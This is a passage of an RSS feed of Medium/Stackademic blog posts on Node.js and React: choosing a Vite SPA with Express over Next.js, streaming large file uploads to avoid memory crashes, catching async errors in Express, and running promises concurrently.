revenue.</p><p>But for internal tools, SaaS dashboards, and admin panels, forcing everything through an SSR pipeline creates unnecessary friction.</p><p>After spending weeks, I decided to rip out the full-stack meta-framework entirely and return to a decoupled architecture: <strong>A Vite-powered React Single Page Application (SPA) on the frontend, and a pure Express API on the backend.</strong></p><h3>1. Zero Hydration Errors, Instant Feedback</h3><p>When your frontend is a pure Single Page Application bundled by Vite, <strong>Server-Side Rendering doesn’t exist.</strong></p><p>Your backend serves static HTML, CSS, and JS files (usually hosted via a fast CDN), and React mounts cleanly in the browser.</p><pre>// src/pages/Dashboard.jsx (Vite + React)<br>import { useState, useEffect } from &#39;react&#39;;<br><br>export default function Dashboard() {<br>  // Access localStorage, window, or browser APIs immediately without fear<br>  const theme = localStorage.getItem(&#39;theme&#39;) || &#39;light&#39;;<br>  const currentDate = new Date().toLocaleDateString();<br><br>  return (<br>    &lt;div className={theme}&gt;<br>      &lt;h1&gt;Dashboard - {currentDate}&lt;/h1&gt;<br>    &lt;/div&gt;<br>  );<br>}</pre><ul><li><strong>No </strong><strong>&#39;use client&#39; directives</strong> required anywhere.</li><li><strong>No hydration mismatch warnings</strong> in the browser console.</li><li><strong>Instant Hot Module Replacement (HMR)</strong> that updates your browser UI in under 50 milliseconds when you edit code.</li></ul><h3>2. Clear Separation of Concerns</h3><p>Your Express API does one thing exceptionally well: it accepts HTTP requests, validates payloads, queries the database, and returns JSON responses.</p><pre>// server/routes/users.js (Express API)<br>app.get(&#39;/api/users&#39;, async (req, res) =&gt; {<br>  const users = await db.getUsers();<br>  res.json(users);<br>});</pre><p>Your React frontend does one thing exceptionally well: it fetches that JSON, manages client state, and renders the UI.</p><p>If your backend experiences an error, it returns a standard JSON error response (500). Your frontend catches it with standard tools like <strong>TanStack Query (formerly known as React Query)</strong> and displays an error alert. No server-side route crashes, no unhandled server promise rejections breaking your page rendering.</p><h3>3. Type-Safe Client Routing with TanStack Router</h3><p>One major feature developers love about modern Next.js is file-based, type-safe routing. Fortunately, you don’t need SSR to get fabulous type safety in an SPA.</p><p>Tools like <strong>TanStack Router</strong> bring full type safety to client-side routing in Vite applications:</p><pre>// Auto-completed route paths and search params in pure Vite SPAs!<br>import { Link } from &#39;@tanstack/react-router&#39;;<br><br>function Navigation() {<br>  return (<br>    // TypeScript will error if &#39;/dashboard&#39; or search params don&#39;t exist!<br>    &lt;Link to=&quot;/dashboard&quot; search={{ page: 1, filter: &#39;active&#39; }}&gt;<br>      Go to Dashboard<br>    &lt;/Link&gt;<br>  );<br>}</pre><p>You get clean URLs, type-safe navigation, search-param validation (using Zod), and route loaders — all running client-side without SSR overhead.</p><h3>Decoupled SPA vs. Next.js App Router</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdmDe9byKO2xH7y8PI2woQ.png" /></figure><h3>The Lesson Learned</h3><p>Full-stack SSR frameworks like Next.js are impressive, but they are not a requirement for every web application.</p><p>Realizing that I was forcing a complex tool onto a simple problem was the lesson. But stepping back, and returning to a clean Vite SPA + Express API let me focus on what actually mattered: shipping features that work, fast.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e31a0efff052" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/next-js-app-router-is-great-but-vite-is-simpler-e31a0efff052">Next.js App Router is Great, but Vite is Simpler.</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Does Your Node Server Crash When Handling Files? (Part 2)]]></title>
            <link>https://blog.stackademic.com/why-does-your-node-server-crash-when-handling-files-part-2-e217951b746e?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/e217951b746e</guid>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[file-handling]]></category>
            <category><![CDATA[nodejs]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Mon, 03 Aug 2026 15:03:25 GMT</pubDate>
            <atom:updated>2026-08-03T15:03:25.525Z</atom:updated>
            <content:encoded><![CDATA[<h4>Why pipeline() Is the Answer</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*u9PibCLM73B6rsbc" /><figcaption>Photo by <a href="https://unsplash.com/@mbenna?utm_source=medium&amp;utm_medium=referral">Mike Benna</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In <a href="https://medium.com/stackademic/26adb04374c4">Part 1</a>, we talked about the moment when a single 300MB file upload triggered an Out-Of-Memory crash, killed our Node process, and sent off every active user with a 502 Bad Gateway.</p><p>When I first realized that fs.readFile() was forcing Node to load entire files in RAM, I panicked. I tried giving Node 4GB of RAM using --max-old-space-size, only to realize I was just delaying the inevitable crash.</p><p>For a long time, I purposely avoided Node Streams. The official documentation made them look like terrifying, abstract EventEmitters full of buffer chunks, pipe methods, and backpressure warnings. It felt way too complex compared to a simple await fs.readFile().</p><p>But after picking up the pieces from too many production outages, I decided to finally face my fear. And honestly? Once you understand the core mental model, <strong>Streams are really simple — and completely game-changing.</strong></p><h3>The Bucket vs. The Hose Analogy</h3><p>The breakthrough happened for me when a senior engineer explained Streams using a simple physical mental model:</p><blockquote><strong><em>fs.readFile() is like filling a 100-gallon bucket with water before taking a single sip.</em></strong><em> If the bucket gets too heavy for your arms (your server&#39;s RAM), you drop it and crash.</em></blockquote><blockquote><strong><em>A Stream is like a garden hose.</em></strong><em> Water flows through it in tiny, manageable trickles. You process one small 64KB chunk at a time, use it, throw it away, and instantly grab the next chunk.</em></blockquote><p>Whether your user uploads a <strong>5MB image, a 500MB CSV, or a 50GB video</strong>, your server’s memory usage stays completely flat at around <strong>20MB</strong>.</p><h3>1. Processing Huge CSVs Line-by-Line</h3><p>Instead of reading a massive spreadsheet into memory all at once, we can pair a ReadStream with Node&#39;s native readline module to process data row by row as it arrives:</p><pre>const fs = require(&#39;fs&#39;);<br>const readline = require(&#39;readline&#39;);<br><br>app.post(&#39;/upload&#39;, async (req, res) =&gt; {<br>  // 1. Create a stream instead of buffering the whole file in RAM<br>  const fileStream = fs.createReadStream(req.file.path);<br><br> // 2. Attach readline to process incoming chunks line-by-line<br>  const rl = readline.createInterface({<br>    input: fileStream,<br>    crlfDelay: Infinity,<br>  });<br> <br> let processedCount = 0;<br><br> for await (const line of rl) {<br>    processedCount++;<br>    // Process each row individually (e.g., save row to database)<br>    await processSingleRow(line);<br>  }<br><br> res.json({ success: true, totalRows: processedCount });<br> });</pre><p>Because Node only holds a single line in RAM at any given millisecond, your server will never hit memory limits — even if the spreadsheet contains millions of rows.</p><h3>2. Moving Files Safely with pipeline()</h3><p>If you need to copy an uploaded file to a permanent storage directory or run it through a transformation, <strong>never use </strong><strong>fs.readFile() and </strong><strong>fs.writeFile()</strong>.</p><p>Instead, use pipeline from node:stream/promises. It connects a read stream directly to a write stream and handles errors automatically:</p><pre>const { pipeline } = require(&#39;node:stream/promises&#39;);<br>const fs = require(&#39;fs&#39;);<br><br>app.post(&#39;/save-upload&#39;, async (req, res) =&gt; {<br>  try {<br>    // Pipe data directly from source to destination in small 64KB chunks<br>    await pipeline(<br>      fs.createReadStream(req.file.path),<br>      fs.createWriteStream(`./storage/${req.file.filename}`)<br>    );<br><br>   res.json({ message: &quot;File saved safely without spiking RAM!&quot; });<br>  } catch (err) {<br>    res.status(500).json({ error: &quot;Stream pipeline failed&quot; });<br>  }<br>});</pre><h3>Why pipeline() Is Special</h3><p>pipeline() automatically manages <strong>backpressure</strong>. If your disk write speed is slower than your network read speed, pipeline() tells the reader to pause automatically until the writer catches up. You don&#39;t have to write a single line of memory management code.</p><h3>Quick Comparison</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ITfJXBWGhlhguWyQJpWeYA.png" /></figure><h3>The Lesson Learned</h3><blockquote>Watching a 500MB file crash my server was a painful lesson, but it forced me to realize that I was using the wrong tool for the job. fs.readFile() isn&#39;t bad—it&#39;s just built for small config files like .json, .env and not user-generated uploads.</blockquote><blockquote>Once you start using streams, you stop fearing large payloads. You can run heavy file-processing workloads on tiny, cheap server instances without ever worrying about Garbage Collection freezes or out-of-memory crashes again.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e217951b746e" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/why-does-your-node-server-crash-when-handling-files-part-2-e217951b746e">Why Does Your Node Server Crash When Handling Files? (Part 2)</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Does Your Node Server Crash When Handling Files?]]></title>
            <link>https://blog.stackademic.com/why-does-your-node-server-crash-when-handling-files-26adb04374c4?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/26adb04374c4</guid>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[file-handling]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Sun, 02 Aug 2026 07:52:26 GMT</pubDate>
            <atom:updated>2026-08-02T07:52:26.395Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*Jl-Y4Dfrt_dDIeCT" /><figcaption>Photo by <a href="https://unsplash.com/@theshuttervision?utm_source=medium&amp;utm_medium=referral">Jonathan Cooper</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>You build a brand new ‘file upload’ feature for your Node.js app. You write a clean endpoint to handle CSV imports or video uploads, test it locally with a tiny 2KB sample file, and watch it finish in a span of 10 milliseconds.</p><p>You ship it to production.</p><p>Then a real-world user shows up.</p><p>Instead of a tiny sample file, they attempt to upload a 300MB video or a 50,000-row spreadsheet. You don’t get a clean error response. You don’t even get a logged stack trace inside Express. Instead, your CPU instantly spikes to 100%, your server freezes for five seconds, and your terminal prints this horrifying nightmare:</p><pre>&lt;--- Last few GCs ---&gt;<br>[18209:0x103008000] 12049 ms: Mark-sweep 2041.2 (2080.5) MB -&gt; 2040.1 (2080.5) MB<br><br>FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory<br>ERR_STRING_TOO_LONG</pre><p>Docker restarts your container, PM2 (process manager for Node.js) tries to reboot the app, and every single active user on your platform gets kicked off with an abrupt 502 Bad Gateway error.</p><p>How could a single file upload bring down an entire backend server? Is Node.js really this fragile? Was my code really that bad?</p><p>It took digging into V8 buffer allocations and Garbage Collection to realize the truth: <strong>fs.readFile() forces Node to hold entire files in RAM at once, turning large uploads into instant server crashers.</strong></p><h3>The Reality of fs.readFile() and Full Buffers</h3><p>When you’re starting out in Node, functions like fs.readFile() or body-parsing middleware that buffer the entire request body into memory feel completely natural and safe:</p><pre><br>app.post(&#39;/upload&#39;, async (req, res) =&gt; {<br>  const fileBuffer = await fs.readFile(req.file.path);<br>  const fileContent = fileBuffer.toString(&#39;utf-8&#39;); <br><br> await processCsvData(fileContent);<br>  res.json({ success: true });<br>});</pre><p>Look at what this code actually demands from Node under the hood:</p><ul><li><strong>Mandatory Block Allocation:</strong> fs.readFile() tells Node, <em>&quot;Pause everything and allocate a contiguous chunk of system RAM large enough to hold the ENTIRE file at once.&quot;</em></li><li><strong>Data Duplication:</strong> The moment you call .toString(&#39;utf-8&#39;) on that buffer, V8 creates a brand new string object in memory. Now your server is holding <strong>double the file size in RAM</strong> (a 300MB file now takes up 600MB+ of heap space).</li><li><strong>V8 String Limits:</strong> V8 has strict hard limits on string length. If the file content exceeds that limit, Node doesn’t even attempt to process it — it throws ERR_STRING_TOO_LONG and crashes.</li></ul><h3>Traffic Multiplier &amp; Garbage Collection</h3><p>If one user uploading a 300MB file consumes 700MB of RAM, what happens when three users hit that endpoint at the exact same time?</p><p>Your app attempts to grab over 2GB of memory in a split second.</p><p>This triggers Node’s Garbage Collector (GC) to panic. The GC stops all JavaScript execution (a “stop-the-world” pause) and desperately tries to free up memory chunks.</p><ul><li><strong>The Event Loop Freezes:</strong> Because Garbage Collection is hammering the CPU, the single-threaded Event Loop cannot process incoming HTTP requests.</li><li><strong>The Heap Hits the Ceiling:</strong> Node reaches V8’s default memory limit (~2GB–4GB depending on your system setup).</li><li><strong>Process Termination:</strong> Realizing it cannot allocate more memory, V8 intentionally kills the Node process to prevent corrupting your host operating system.</li></ul><h3>The Naive Fix: Throwing More RAM at the Problem</h3><p>When I first hit this wall, my immediate instinct was to Google the error and paste--max-old-space-size=4096 into my start script to give Node 4GB of RAM instead of 2GB.</p><blockquote><strong><em>Please, do not do this.</em></strong></blockquote><p>Increasing Node’s memory limit doesn’t solve the underlying allocation problem — it just delays the crash point from 300MB uploads to 1GB uploads, while doubling your cloud hosting bills.</p><p>It was humbling to realize that my server was collapsing simply because I didn’t understand how Node handles binary data. We don’t need more expensive hardware; we just need to stop treating large files like large buckets of water that must be lifted all at once.</p><p><em>If you’re ready to learn how senior developers process gigabyte-sized uploads on tiny 256MB RAM servers without ever spiking their memory — check out the upcoming Part 2.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26adb04374c4" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/why-does-your-node-server-crash-when-handling-files-26adb04374c4">Why Does Your Node Server Crash When Handling Files?</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Mistake Beginners Make with async/await in Express (Part 2)]]></title>
            <link>https://blog.stackademic.com/the-mistake-beginners-make-with-async-await-in-express-part-2-cb428a7c8b26?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/cb428a7c8b26</guid>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Fri, 31 Jul 2026 18:17:25 GMT</pubDate>
            <atom:updated>2026-07-31T18:17:25.784Z</atom:updated>
            <content:encoded><![CDATA[<h4>The fix is what made me think : “Why didn’t I think of this?”</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*GBuE1tSGLwa-wek-" /><figcaption>Photo by <a href="https://unsplash.com/@mostlymarvelling?utm_source=medium&amp;utm_medium=referral">Nancy Hughes</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In<a href="https://medium.com/stackademic/the-mistake-beginners-make-with-async-await-in-express-6609fbfb1116"> Part 1</a>, we talked about the problem we don’t realize with async/await in Express: how a tiny database timeout on <em>one</em> single request can trigger an UnhandledPromiseRejection and crash your entire Express app for <em>everyone</em>.</p><p>When I first realized that Express 4 didn’t catch async/await errors by default, I spent an entire evening pasting try { ... } catch (err) { next(err); } across 40 different route files.</p><p>By the end of it, my once-clean code looked like my room, a mess. 80% of every file was just repetitive error-handling boilerplate.</p><p>There had to be a better way. I didn’t want to choose between a server that crashes every two days and a codebase that hurts my eyes to look at.</p><p>It turns out senior developers don’t write try/catch in every single route. Here are the 3 cleanest ways to make your Express server crash-proof :</p><h3>1. The asyncHandler Wrapper (The Pure JavaScript Fix)</h3><p>Instead of manually writing try/catch inside every single route handler, you can write a simple, 4-line helper function that wraps your routes and catches promise rejections automatically.</p><p>Here is the exact helper function:</p><pre>// utils/asyncHandler.js<br>const asyncHandler = (fn) =&gt; (req, res, next) =&gt; {<br>  Promise.resolve(fn(req, res, next)).catch(next);<br>};<br><br>module.exports = asyncHandler;</pre><h3>How It Works</h3><p>This function takes your async route handler (fn), runs it, and wraps its return value in Promise.resolve(). If your route succeeds, everything works as normal. If your route throws an error or rejects, .catch(next) catches it and automatically passes it to Express&#39;s next() function for you.</p><p>Now look at how clean your route files become:</p><pre>const asyncHandler = require(&#39;./utils/asyncHandler&#39;);<br><br>app.get(&#39;/user/:id&#39;, asyncHandler(async (req, res) =&gt; {<br>  const user = await db.findUser(req.params.id); <br>  res.json(user);<br>}));</pre><p>No try. No catch. No next(err). If db.findUser() fails, the error gets caught behind the scenes and sent straight to your error handler.</p><h3>2. The express-async-errors Package (The &quot;One Line&quot; Fix)</h3><p>If you already have an existing project with dozens of routes and you really don’t want to wrap every single route in asyncHandler(), there is an even quicker fix.</p><p>You can install a tiny npm package that patch-fixes Express 4 globally:</p><pre>npm install express-async-errors</pre><p>All you do is require it at the very top of your main entry file (server.js or app.js) <strong>before</strong> defining any routes:</p><pre>require(&#39;express-async-errors&#39;); // Add this single line at the top!<br>const express = require(&#39;express&#39;);<br>const app = express();<br><br>app.get(&#39;/user/:id&#39;, async (req, res) =&gt; {<br>  const user = await db.findUser(req.params.id);<br>  res.json(user);<br>});</pre><p>That’s it. This package safely patches Express under the hood so that rejected promises inside any route automatically get sent to next().</p><blockquote><strong><em>Note on Express 5:</em></strong><em> If you are using Express 5, this behavior is built-in! Express 5 natively handles rejected promises, so you don’t even need </em><em>express-async-errors.</em></blockquote><h3>The Global Error Middleware</h3><p>Whether you use asyncHandler, express-async-errors, or Express 5, <strong>you still need a place for those caught errors to go.</strong></p><p>At the very bottom of your main file (after all your route definitions), create a dedicated <strong>Global Error Handling Middleware</strong>.</p><pre>// MUST have all 4 parameters (err, req, res, next) so Express knows it&#39;s an error handler!<br>app.use((err, req, res, next) =&gt; {<br>  console.error(&#39;Centralized Error Log:&#39;, err.stack);<br><br>// Send a clean 500 response to the client instead of crashing the process<br>  res.status(err.statusCode || 500).json({<br>    success: false,<br>    message: err.message || &#39;Something went wrong on the server!&#39;,<br>  });<br>});</pre><p>Now, when a database query times out or an external API drops:</p><ul><li>The async error gets caught automatically.</li><li>It passes into this centralized error handler.</li><li>The affected user receives a clean 500 Internal Server Error message.</li><li><strong>Your server stays online for everyone else.</strong></li></ul><h3>Quick Comparison: Pick Your Fix</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O8GTChrqC-Yh9GjM-9umsQ.png" /></figure><h3>The Lesson Learned</h3><blockquote>Realizing that my code was crashing because I didn’t understand Express internals was frustrating to say the least.</blockquote><blockquote>An error in one user’s request should never be the reason for crashing of your entire application. Pick a strategy, set up a global error handler at the bottom of your app, and rest easy knowing your backend can handle whatever production throws at it.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cb428a7c8b26" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/the-mistake-beginners-make-with-async-await-in-express-part-2-cb428a7c8b26">The Mistake Beginners Make with async/await in Express (Part 2)</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Mistake Beginners Make with async/await in Express]]></title>
            <link>https://blog.stackademic.com/the-mistake-beginners-make-with-async-await-in-express-6609fbfb1116?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/6609fbfb1116</guid>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[expressjs]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[web-development]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Thu, 30 Jul 2026 17:19:18 GMT</pubDate>
            <atom:updated>2026-07-30T17:19:18.299Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*2p29VKiuFThSWvxd" /><figcaption>Photo by <a href="https://unsplash.com/@snowjam?utm_source=medium&amp;utm_medium=referral">John McArthur</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>You build an API using Express.js. You test it locally with Postman. You hit /users/123, the database returns the user object in 15ms, and you feel like the job was well done.</p><p>Then you ship it to production.</p><p>A few days later, your database experiences a short, two-second network glitch. Instead of Express returning a clean 500 Internal Server Error to the <em>one</em> unlucky user who made that request, your entire Node.js server immediately crashes down:</p><pre>UnhandledPromiseRejection: Error: Connection timed out at Database.query<br>    at async /app/routes/users.js:14:18<br>Node.js v20.x.x<br>[PM2] App [api:0] exited with code [1] via signal [SIGINT]</pre><p>Every single active user on your platform — whether they were browsing products, updating their profile, or checking out — gets suddenly disconnected at the exact same second.</p><p>I sat there in sheer disbelief staring at my terminal. How could <em>one</em> failed query for <em>one</em> single user take down the entire server for <em>everyone</em>? Express is the most popular framework in the Node ecosystem. Why on earth doesn’t it handle basic async errors? Was my code just terrible? Was I missing something obvious?</p><p>It took the entire evening and digging into Node’s asynchronous runtime to understand the reality: <strong>Express 4 was designed before </strong><strong>async/await existed, and by default, it completely ignores unhandled promise rejections inside your route handlers.</strong></p><h3>Express 4 : Sync vs. Async</h3><p>When you first start writing Express, error handling is very easy. That’s because with synchronous code, Express wraps your route logic in a hidden try/catch under the hood:</p><pre><br>app.get(&#39;/sync-crash&#39;, (req, res) =&gt; {<br>  throw new Error(&quot;Oops!&quot;); <br>});</pre><p>When an error is thrown synchronously, Express intercepts it and forwards it directly to your error-handling middleware. It feels safe and intuitive.</p><p>So naturally, when you learn async/await, you expect that same safety rope to be there. But look at what actually happens:</p><pre>// ASYNCHRONOUS: Express 4 CANNOT catch this!<br>app.get(&#39;/user/:id&#39;, async (req, res) =&gt; {<br>  // If the database fails, this throws a rejected Promise<br>  const user = await db.findUser(req.params.id); <br>  res.json(user);<br>});</pre><p>Because an async function implicitly returns a JavaScript <strong>Promise</strong>, throwing an error inside an async route handler produces a <strong>rejected Promise</strong>.</p><p>Express 4 doesn’t await your route handlers. It calls the function, receives a pending Promise back, and immediately moves on. When that Promise eventually rejects two seconds later due to a database glitch, Express has already walked away. The rejected Promise goes straight up to the Node.js runtime as an UnhandledPromiseRejection.</p><p>And since Node 15+, Node’s default policy for unhandled promise rejections is unforgiving: it terminates the entire Node process immediately.</p><h3>The Wrong Remedy: try/catch</h3><p>When I first figured this out, my immediate response was to wrap every single endpoint in a try/catch block and pass the errors to next() manually:</p><pre><br>app.get(&#39;/user/:id&#39;, async (req, res, next) =&gt; {<br>  try {<br>    const user = await db.findUser(req.params.id);<br>    res.json(user);<br>  } catch (err) {<br>    next(err); <br>  }<br>});</pre><p>Sure, it prevented the server from crashing. But my codebase quickly turned into hodgepodge. 80% of every file was just repetitive try/catch boilerplate duplicated across dozens of controllers.</p><p>I knew there had to be a better, cleaner way to build a crash-proof backend without ruining my code’s readability.</p><p><em>If you’re tired of wrapping every endpoint in </em><em>try/catch blocks and want to learn how senior developers keep Express 100% crash-proof—check out the upcoming Part 2.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6609fbfb1116" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/the-mistake-beginners-make-with-async-await-in-express-6609fbfb1116">The Mistake Beginners Make with async/await in Express</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Promise Concurrency is the Way :The Reality of Misusing Async/Await (Part 2)]]></title>
            <link>https://blog.stackademic.com/promise-concurrency-is-the-way-the-reality-of-misusing-async-await-part-2-f14ff3ba356d?source=rss-448877ce12f8------2</link>
            <guid isPermaLink="false">https://medium.com/p/f14ff3ba356d</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[nodejs]]></category>
            <category><![CDATA[asynchronous]]></category>
            <category><![CDATA[backend-development]]></category>
            <category><![CDATA[promises-in-javascript]]></category>
            <dc:creator><![CDATA[Shreyash]]></dc:creator>
            <pubDate>Tue, 28 Jul 2026 14:17:20 GMT</pubDate>
            <atom:updated>2026-07-28T14:17:20.405Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*sYQyIM6y6YcTxMHC" /><figcaption>Photo by <a href="https://unsplash.com/@glenncarstenspeters?utm_source=medium&amp;utm_medium=referral">Glenn Carstens-Peters</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p>In <a href="https://medium.com/stackademic/expecting-speed-getting-latency-the-reality-of-misusing-async-await-7ff7f08258b9">Part 1</a>, we discussed about the ultimate async/await delusion: how awaiting inside of sequential loops or addingasync inside .forEach() turns your &quot;non-blocking&quot; Node.js backend into a snail.</p><p>It is a terrible feeling to watch a simple endpoint take three seconds to load just because ten database queries are forced to wait in line. But once you realize <em>why</em> Node is waiting, fixing it is so simple.</p><p>We don’t want to fetch User 1, wait, then fetch User 2, and wait again. We want to tell Node.js: <em>“Hey, send off all ten requests to the database at the exact same time, and let me know when every single one of them comes back.”</em></p><p>Here is how we transition from slow, sequential code to true promise concurrency — without making any errors.</p><h3>Unlocking Parallel Execution with Promise.all()</h3><p>Instead of awaiting inside a for loop, the trick is to map our array of IDs into an <strong>array of pending Promises</strong>, and then await them all together using Promise.all():</p><pre>async function getUsersData(userIds) {<br>  <br>  const userPromises = userIds.map(id =&gt; fetchUserProfile(id));<br><br> // Await all promises to resolve in parallel<br>  const users = await Promise.all(userPromises);<br><br> return users;<br>}</pre><p>Look at what happens to your response times when you stop making promises wait in line:</p><p>Your total wait time is no longer the <strong>sum</strong> of all requests — it drops to the duration of the <strong>single slowest request</strong>. That 3.2-second dashboard endpoint instantly drops to under 350 milliseconds!</p><h3>Promise.all() : Handling Failures</h3><p>When I first learned Promise.all(), I replaced all my loops, watched my Postman timers drop, and felt incredible.</p><p>Then production hit a tiny network glitch on one record, and I learned the catch the hard way: <strong>Promise.all() operates on a strict &quot;all-or-nothing&quot; rule.</strong></p><p>If you pass 100 promises to Promise.all() and 99 of them succeed, but <strong>one</strong> single request fails or rejects... Promise.all() immediately throws an exception and discards the 99 successful results you spent time fetching.</p><pre>try {<br>  const results = await Promise.all(userPromises);<br>} catch (error) {<br>  console.error(&quot;One request failed, so everything failed!&quot;, error);<br>}</pre><p>Throwing away 99 valid pieces of data because 1 network packet dropped felt almost as frustrating as the slow loop.</p><h3>The Fix: Promise.allSettled()</h3><p>When building real-world APIs, you almost always prefer partial success over total crash. If 9 profile cards load and 1 fails, you still want to show the 9 profiles on the UI while showing a small retry badge for the missing one.</p><p>That’s where Promise.allSettled() comes in to save the day:</p><pre>async function getUsersDataSafely(userIds) {<br>  const userPromises = userIds.map(id =&gt; fetchUserProfile(id));<br><br>// Never fails entirely, waits for every promise to settle (fulfill or reject)<br>  const results = await Promise.allSettled(userPromises);<br><br>  const successfulUsers = results<br>    .filter(res =&gt; res.status === &#39;fulfilled&#39;)<br>    .map(res =&gt; res.value)<br><br>  const failures = results<br>    .filter(res =&gt; res.status === &#39;rejected&#39;)<br>    .map(res =&gt; res.reason);<br><br> if (failures.length &gt; 0) {<br>    console.warn(`Failed to fetch ${failures.length} users:`, failures);<br>  }<br><br> return successfulUsers;<br>}</pre><p>With Promise.allSettled(), you get maxed-out parallel speed without risking a complete server crash over a single bad database row.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qHQ4o9VXQRm5bGbjLFtX6g.png" /></figure><h3>The Lesson Learned</h3><blockquote>Learning async/await is a life saver, but don&#39;t let the short and sweet syntax trick you into writing synchronous bottlenecks.</blockquote><blockquote>If your async operations don’t depend on each other, stop forcing them to wait in line. Combine .map() with Promise.all() or Promise.allSettled(), let Node&#39;s event loop do what it was designed to do, and watch everything move at a fast pace.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f14ff3ba356d" width="1" height="1" alt=""><hr><p><a href="https://blog.stackademic.com/promise-concurrency-is-the-way-the-reality-of-misusing-async-await-part-2-f14ff3ba356d">Promise Concurrency is the Way :The Reality of Misusing Async/Await (Part 2)</a> was originally published in <a href="https://blog.stackademic.com/">Stackademic</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>